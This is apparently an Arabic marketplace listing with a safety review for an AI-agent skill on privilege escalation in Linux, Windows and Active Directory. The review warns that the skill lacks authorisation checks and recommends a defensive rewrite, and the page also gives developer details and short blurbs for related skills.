- استخدام التقنيات على أنظمة دون تفويض كتابي صريح.
- نسخ الأوامر التشغيلية إلى بيئات إنتاج أو بيئات تابعة لجهات خارجية.
- اعتبار استخراج بيانات الاعتماد أو الاستمرارية أمرا مقبولا دون موافقة وتنظيف.
الأسئلة المتكررة
ماذا تغطي هذه المهارة؟
تغطي مفاهيم تصعيد الامتيازات في Linux وWindows وActive Directory مع أمثلة وجداول مرجعية.
هل هذا آمن للمستخدمين العامين؟
لا. يتضمن المصدر إرشادات تشغيلية لما بعد الاستغلال وينبغي قصره على العمل الأمني المصرح به.
هل تشغل المهارة الأوامر بنفسها؟
لا. إنها إرشادات markdown، لكن يمكن لوكيل أو مستخدم تنفيذ الأوامر إذا طُلب منه ذلك.
هل يمكن للمدافعين استخدام هذه المهارة؟
نعم، يمكن للمدافعين تحويل الفئات إلى فحوصات تعزيز وأفكار مراقبة وتمارين استجابة للحوادث.
هل تؤكد التفويض؟
لا. لا تفرض النطاق القانوني أو ملكية الهدف قبل عرض مواد محفوفة بالمخاطر.
ما الذي ينبغي تغييره قبل النشر؟
أزل خطوات الاستغلال التشغيلية وأعد كتابة المحتوى كإرشادات دفاعية مع سلوك رفض واضح.
تفاصيل المطور
المؤلف
sickn33الترخيص
MIT
إصدار المؤلف
v1.1
مراجعة Skillstore
r1
تنبيه الإصدار
الإصدار الذي أعلنه المؤلف ليس SemVer صالحًا.
المستودع
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/privilege-escalation-methodsمرجع
9f814fc6a43fd99946f2da5e0df231c65a38bc76
حداثة الصيانة
١٨/٧/٢٠٢٦
الاستخدام
8 تنزيلات · 156 مشاهدات
بنية الملفات
📄 SKILL.md
المزيد من sickn33
عرض الكل📦
prompt-engineering-patterns
85حسّن مطالبات LLM باستخدام أنماط مثبتة
تستهلك المطالبات غير المتسقة الوقت وتجعل مخرجات الذكاء الاصطناعي صعبة الثقة. ترشد هذه المهارة تصميم المطالبات باستخدام أنماط قابلة لإعادة الاستخدام، وأمثلة، وخطوات تقييم، وسير عمل للتحسين.
الإنتاجية عرض
📦
senior-architect
81تصميم معماريات برمجية قابلة للتوسع
يصعب مقارنة قرارات المعمارية عبر أنظمة الويب والهواتف المحمولة والخلفية والسحابة. توفر هذه المهارة أدلة منظمة وسكربتات تمهيدية محلية للتقارير ومراجعة الاعتماديات وتوثيق المفاضلات.
البرمجة والتطوير عرض
📦
senior-fullstack
81بناء تطبيقات Fullstack بأنماط هندسية متقدمة
تحتاج الفرق إلى إرشادات متسقة للإعداد والبنية والمراجعة لتطبيقات الويب الحديثة. توفر هذه المهارة أدوات إنشاء هياكل أولية، ومراجع لسير العمل، ومطالبات للجودة لمشاريع React وNext.js وNode.js وGraphQL وPostgreSQL.
البرمجة والتطوير عرض
📦
prompt-engineer
81حسّن موجهات الذكاء الاصطناعي باستخدام Prompt Engineer
كتابة موجهات واضحة صعبة عندما تكون الأهداف غامضة أو معقدة. تحوّل هذه المهارة الطلبات الأولية إلى موجهات منظمة باستخدام أطر عمل مثبتة للموجهات.
الإنتاجية عرض
📦
product-manager-toolkit
80رتّب أولويات عمل المنتج باستخدام رؤى البحث
تحتاج فرق المنتج إلى طرق أسرع لترتيب الميزات، وتلخيص المقابلات، وتوثيق القرارات. توفر هذه المهارة تسجيل RICE، وتحليل المقابلات، وقوالب PRD للتخطيط المنظم.
الإنتاجية عرض
مهارات ذات صلة
عرض الكل📦
pentest-coordinator
38تنسيق اختبارات اختراق مختبرية مصرح بها
بواسطة CharlesKozel
تتطلب مختبرات اختبار الاختراق تتبعًا دقيقًا للحالة عبر مراحل الاستطلاع والاستغلال وتصعيد الامتيازات. تنسق هذه المهارة سير عمل مختبريًا مصرحًا به باستخدام ملاحظات ومحاولات ومعايير إكمال منظمة.
الأمان والامتثال عرض
📦
coordinator
38تنسيق اختبارات اختراق CTF
بواسطة CharlesKozel
غالبا ما تتطلب مختبرات الأمن المصرح بها تتبعا عبر الاستطلاع، والاستغلال، وتصعيد الامتيازات. تنسق هذه المهارة تفويض الوكلاء والقرارات المدفوعة بالحالة لتقييمات مضبوطة بنمط CTF.
الأمان والامتثال عرض
📦
privilege-escalation-knowledge
38تدقيق مسارات تصعيد امتيازات Linux
بواسطة CharlesKozel
تتطلب مراجعات تصعيد امتيازات Linux تعدادا دقيقا وتفويضا صارما. تنظم هذه المهارة الفحوصات الشائعة، والمتجهات الخطرة، وتوثيق الأدلة للمختبرات الخاضعة للرقابة والتدقيقات الدفاعية.
الأمان والامتثال عرض
📦
senior-security
81تعزيز مراجعات أمان التطبيقات
بواسطة alirezarezvani
غالبًا ما تفتقر مراجعات الأمان إلى قوائم تحقق متسقة وسير عمل قابل لإعادة الاستخدام. توفر هذه المهارة قوالب تمهيدية لمراجعات الأمان، وإرشادات مرجعية، وسكربتات تقارير بسيطة لـ Claude وCodex وClaude Code.
الأمان والامتثال عرض
📦
security-report
78إنشاء تقارير تقييم أمني
بواسطة BytR-Ecosystems
يصعب عرض النتائج الأمنية بوضوح على المديرين التنفيذيين والفرق التقنية. تنشئ هذه المهارة تقارير DOCX منظمة تتضمن تصنيفات للمخاطر وإرشادات للمعالجة.
الأمان والامتثال عرض
📦
security-audit
76Audit Codebases for Security Vulnerabilities
بواسطة cloudflare
Security reviews often miss trust-boundary failures or produce weak evidence. This skill structures reconnaissance, isolated validation, independent verification, and actionable reporting.
الأمان والامتثال عرض